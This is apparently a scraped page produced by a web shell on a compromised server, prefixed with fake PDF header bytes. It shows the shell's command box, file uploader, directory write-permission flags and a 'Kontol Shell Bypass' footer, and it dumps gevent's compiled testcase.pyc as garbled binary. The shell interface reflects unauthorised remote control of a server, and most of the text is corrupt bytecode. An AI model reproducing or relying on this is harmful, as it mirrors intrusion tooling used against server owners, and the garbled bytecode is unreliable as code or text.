%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/testcase.cpython-39.pyc
a

�_g�H�
@slddlmZmZmZddlZddlZddlmZddl	m
Zddlm
Z
ddlZddlmZddlmZddlmZdd	lmZd
dlmZd
dlmZd
d
lmZd
dlmZd
dlmZd
dlmZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�dej"�Z#dd�Z$e%fdd�Z&Gdd�de'�Z(dd �Z)Gd!d"�d"e�Z*Gd#d$�d$e(d%e*ee e!efi��Z
dS)&�)�absolute_import�print_function�divisionN)�contextmanager)�TestCase��wraps)�LazyOnClass)�perf_counter)�get_clock_info)�get_hub_if_exists�)�sysinfo)�params)�	leakcheck)�errorhandler)�flaky)�get_switch_expectedc@s`eZdZe��d
dd��Zejr*dd�Zndd�Ze	ddd��Z
ejsPejsPd	nd
fdd�ZdS)�TimeAssertMixinNcCs8z|j|||||d�Wnty2t��Yn0dS)N)�places�msg�delta)ZassertAlmostEqual�AssertionErrorrZreraiseFlakyTestTimeout)�self�first�secondrrr�r�D/vddos/python/lib/python3.9/site-packages/gevent/testing/testcase.py�assertTimeoutAlmostEqual+sz(TimeAssertMixin.assertTimeoutAlmostEqualcCsdS�Nr�rZ
time_taken�min_time�max_timerrr�assertTimeWithinRange5sz%TimeAssertMixin.assertTimeWithinRangecCs|�||�|�||�dSr)ZassertLessEqualZassertGreaterEqualr rrrr#8sccs�|dur&tjstjr|d}n|d}|dur2|n||}||}t�}||fVt�|}z8|�||kot|knd|||||td�f�Wnty�t��Yn0dS)Ng@g@zEExpected: %r; elapsed: %r; min: %r; max: %r; fuzzy %r; clock_info: %sr
)	r�EXPECT_POOR_TIMER_RESOLUTION�LIBUVr
�
assertTruerrr�reraiseFlakyTestRaceCondition)r�expected�fuzzyr!r"�start�elapsedrrr�runs_in_given_time<s$


��z"TimeAssertMixin.runs_in_given_timeg{�G�z�?g�?cCs|�d|�S)Ng)r,)rr)rrr�runs_in_no_timeRszTimeAssertMixin.runs_in_no_time)NNN)NN)
�__name__�
__module__�__qualname__rZreraises_flaky_timeoutrrr$r#rr,r%r-rrrrr*s
�rc@s4eZdZdZdd�Zdd�Zdd�ZeZdd	�Zd
S)�GreenletAssertMixinz Assertions related to greenlets.cCs.|�|j|�|�|��|�|�||�dSr)r&�dead�ready�assertFalse�r�grrr�assert_greenlet_ready[sz)GreenletAssertMixin.assert_greenlet_readycCs"|�|j|�|�|��|�dSr)r4r2r3r5rrr�assert_greenlet_not_ready`sz-GreenletAssertMixin.assert_greenlet_not_readycCs |�|j|�|�|j|�dSr)r&�startedr4r2r5rrr�assert_greenlet_spawneddsz+GreenletAssertMixin.assert_greenlet_spawnedcCs |�|j|�|�|j|�dSr)r4r9r&r2r5rrr�assert_greenlet_finishedksz,GreenletAssertMixin.assert_greenlet_finishedN)	r.r/r0�__doc__r7r8r:Zassert_greenlet_startedr;rrrrr1Xsr1c@sHeZdZdZedd��Zddd�Zdd	d
�Zdd�Zd
d�Z	dd�Z
dS)�StringAssertMixinz*
    Assertions dealing with strings.
    cCsddl}|�d|j�S)Nrz-?0x[0123456789abcdef]+L?)�re�compile�I)rr>rrr�
HEX_NUM_REuszStringAssertMixin.HEX_NUM_RE�XcCs|j�||�Sr)rA�sub)r�s�replacerrr�normalize_addrzsz StringAssertMixin.normalize_addrN�modulecCs|durt|�j}|�||�Sr)�typer/rE)rrDrGrErrr�normalize_module~s
z"StringAssertMixin.normalize_modulecCs|�|�|��Sr)rIrF�rrDrrr�	normalize�szStringAssertMixin.normalizecCs,t|�}|�|�}|�|�|�||f�dSr)�strrKr&�endswith�r�o�valrD�nrrr�assert_nstr_endswith�s
z&StringAssertMixin.assert_nstr_endswithcCs,t|�}|�|�}|�|�|�||f�dSr)rLrKr&�
startswithrNrrr�assert_nstr_startswith�s
z(StringAssertMixin.assert_nstr_startswith)rB)NrG)r.r/r0r<r	rArFrIrKrRrTrrrrr=ps


r=c@s*eZdZdZd
dd�Zdd�Zdd�Zd	S)�TestTimeout��	Not GivencCstjj||d|fdd�dS)Nz7%r: test timed out (set class __timeout__ to increase)
F)�ref)�gevent�Timeout�__init__)r�timeout�methodrrrr[�s�zTestTimeout.__init__cCsjddlm}t��j}d}t|d�r6dd�|��D�}|�}dd�|�d�|�f|_tj	�
|||�dS)	Nr)�format_run_infozN/A�debugcSsg|]}t|��qSr)rL)�.0rDrrr�
<listcomp>��z.TestTimeout._on_expiration.<locals>.<listcomp>zLoop Debug:
%s
Run Info:
%s�
)Zgevent.utilr^rY�get_hub�loop�hasattrr_�join�_expire_inforZ�_on_expiration)rZ
prev_greenlet�exr^reZ
debug_infoZrun_inforrrri�s

�zTestTimeout._on_expirationcCstj�|�}||j7}|Sr)rYrZ�__str__rhrJrrrrk�s
zTestTimeout.__str__N)rW)r.r/r0rhr[rirkrrrrrU�s
rUcs&�dur�St����fdd��}|S)NcsDt����&�|g|�Ri|��Wd�S1s60YdSr)rU�r�args�kwargs�r]r\rr�timeout_wrapper�sz&_wrap_timeout.<locals>.timeout_wrapperr)r\r]rprror�
_wrap_timeout�s
rqcCsbt�}|�||�}||ur|S|D] }t|||�}||ur"|Sq"|tur^td|||f��|S)NzAttribute %r not found
%s
%s
)�object�get�getattr�AttributeError)�	classDict�bases�attr�default�NONE�value�baserrr�_get_class_attr�s
r}c@seZdZdd�ZdS)�TestCaseMetaClassc
Cs�|�dd�}|dkr:t|ddd�}tjr:|dur:|d9}t||dd�}t||dd�}t||dd�}t|���D]r\}}	|�d	�rpt|	�rp|�	|�t
||	�}	t|	d|�}|r�t�|	�}	|r�t�
|	�}	|r�tjr�t�|	�}	|	||<qpt�||||�S)
N�__timeout__rzr��check_totalrefcountT�error_fatal�uses_handle_error�test)rsrtrZRUN_LEAKCHECKSr}�list�itemsrS�callable�poprqrZwrap_error_fatalZwrap_restore_handle_errorrZ
wrap_refcountrH�__new__)
�cls�	classnamerwrvr\r�r�r��keyr{rrrr��s*






zTestCaseMetaClass.__new__N)r.r/r0r�rrrrr~�sr~cCsdSrrrrrr�_noop�sr�cs0eZdZ�fdd�Zdd�Z�fdd�Z�ZS)�SubscriberCleanupMixincs.tt|���ddlm}|jdd�|_dS�Nr)�events)�superr��setUprYr��subscribers�(_SubscriberCleanupMixin__old_subscribers�rr���	__class__rrr��szSubscriberCleanupMixin.setUpcCsddlm}|j�|�dSr�)rYr�r��append)rrCr�rrr�
addSubscriber�sz$SubscriberCleanupMixin.addSubscribercs.ddlm}|j|jdd�<tt|���dSr�)rYr�r�r�r�r��tearDownr�r�rrr��szSubscriberCleanupMixin.tearDown)r.r/r0r�r�r��
__classcell__rrr�rr��sr�cs�eZdZejsejnejZdZ	dZ
dZdZdZ
�fdd�Z�fdd�Zdd	�Z�fd
d�Zdd
�Zdd�Zedd��Zedd��Zedd��Zedd��ZdZeZdd�Zdd�Zdd�Zdd �Zd,d"d#�Zd-d$d%�Z d&d'�Z!d(d)�Z"d*d+�Z#�Z$S).rryTrcs,|jdkrt|j�|_tt|�j|i|��S)Nry)�switch_expectedr�fullnamer�r�runrlr�rrr�s
zTestCase.runcs>tt|���t�}|r(|jr(|j��g|_|�|j�dSr)	r�rr�rreZ
update_now�close_on_teardownZ
addCleanup�_tearDownCloseOnTearDown)rZhubr�rrr�s

zTestCase.setUpcCs
|�dSrr)rr]rrr�_callTestMethod+szTestCase._callTestMethodcsHt|dd�r|jdd�=dSt|dt�}|�|j|_tt|���dS)NZskipTearDownF�cleanup)rtr�r��_none�_errorr�rr�)rr�r�rrr�=szTestCase.tearDowncCs@|jr<|j��}t|d|�}z
|�Wqty8Yq0qdS)N�close)r�r�rt�	Exception)r�xr�rrrr�Gs

z!TestCase._tearDownCloseOnTearDowncCs|j�|�|S)zU
        *resource* either has a ``close`` method, or is a
        callable.
        )r�r�)r�resourcerrr�_close_on_teardownPszTestCase._close_on_teardowncCst|dd�pt|d�S)NZ_testMethodNamerVZ_TestCase__testMethodName)rt�rrrr�testnameXszTestCase.testnamecCs|jjd|jS)N�.)r�r.r�r�rrr�testcasename\szTestCase.testcasenamecCs$tj�tj|jjj��dd�dS)Nr�r
r)	�os�path�basename�sys�modulesr�r/�__file__�rsplitr�rrr�
modulename`szTestCase.modulenamecCs$tj�tj�|j��dd|jS)Nrr�)r�r��splitextr�r�r�r�rrrr�dszTestCase.fullname)NNNcCs |�|j|j�|jt��_dSr)�assertEqualr�r��_store_errorrYrd�handle_errorr�rrr�expect_one_errorlszTestCase.expect_one_errorcCs2~|j|jkr"t��j�||�n|||f|_dSr)r�r�rYrd�parent�throw)r�where�tr{�tbrrrr�pszTestCase._store_errorcCs|jSr)r�r�rrr�
peek_errorwszTestCase.peek_errorcCs z|jW|j|_S|j|_0dSr)r�r�r�rrr�	get_errorzs
�zTestCase.get_errorNcCs�|dur|��}|\}}}|durR|�|t�|�|d|f�t||�sRJ|��|dur�t|t�rv|�t|�|�n|�||�|dur�|�||�|S)NzError must not be none %r)	r�ZassertIsInstancerHZassertIsNotNone�
issubclass�
isinstancerLr�ZassertIs)r�kindr{�errorZ
where_typeZecontextZekindZevaluerrr�assert_error�s"
�
zTestCase.assert_errorc
Cs�ddl}ddl}ddlm}ttd|�|�}t|d|�}d}	|sPd}	t|d�}|D�]|}
|
|vrdqTt||
�}|�|�s~|	s~qT|||
�}zj|���Nz
|j}
Wn"t	y�|�
d�|j}
Yn0|
|�}|
|�}Wd�n1s�0YWn t�y|	�r
�YqTYn0|�
|j|j|
�|�
|j|j|
�|�
|j|j|
�t|d	��r�|
|j|jf}z|�
|j|j|�Wn0t�y�|�|j|�|�
d
|j�Yn0qT|�
|j|j|
�|�
|j|j|
�qTdS)Nr)�get_originalzgevent.Z
__target__TFZ__implements__�ignore�keywordsrn)�inspect�warningsZ
gevent.monkeyr�rt�
__import__�
isfunction�catch_warnings�getfullargspecru�simplefilter�
getargspec�	TypeErrorr�rm�varargs�defaultsrfr�rZassertIsNone�
kwonlyargs�kwonlydefaults)r�mod_nameZ
func_names�excluder�r�r�Z
gevent_module�module_nameZfuncs_given�	func_nameZgevent_func�funcr�Z
gevent_sig�sigrrrr�!assertMonkeyPatchedFuncSignatures�sR






*
z*TestCase.assertMonkeyPatchedFuncSignaturescCs0z|�||�Wnty*t��Yn0dSr)r�rrr')r�a�brrr�assertEqualFlakyRaceCondition�sz&TestCase.assertEqualFlakyRaceConditioncCs|�|�|�||f�dSr)r&rS)r�itZ
has_prefixrrr�assertStartsWith�szTestCase.assertStartsWithcCsddlm}|�|���dS)Nr)�monkey)rYr�r4Zis_anything_patched)rr�rrr�assertNotMonkeyPatched�szTestCase.assertNotMonkeyPatched)NNNN)rr)%r.r/r0rZ
RUNNING_ON_CIrZ
LOCAL_TIMEOUTZ
CI_TIMEOUTrr�r�r�r�Z_TestCase__old_subscribersr�r�r�r�r�r��propertyr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�rrs>
	





ArZNewBase)+�
__future__rrrr��os.pathr��
contextlibrZunittestrZBaseTestCase�	functoolsrrYZgevent._utilr	Zgevent._compatr
rZgevent._hub_localrrVrrrrrZpatched_tests_setuprrrrr1r=rZrUrqrur}rHr~r�r�rrrr�<module>sD.#'��

Kontol Shell Bypass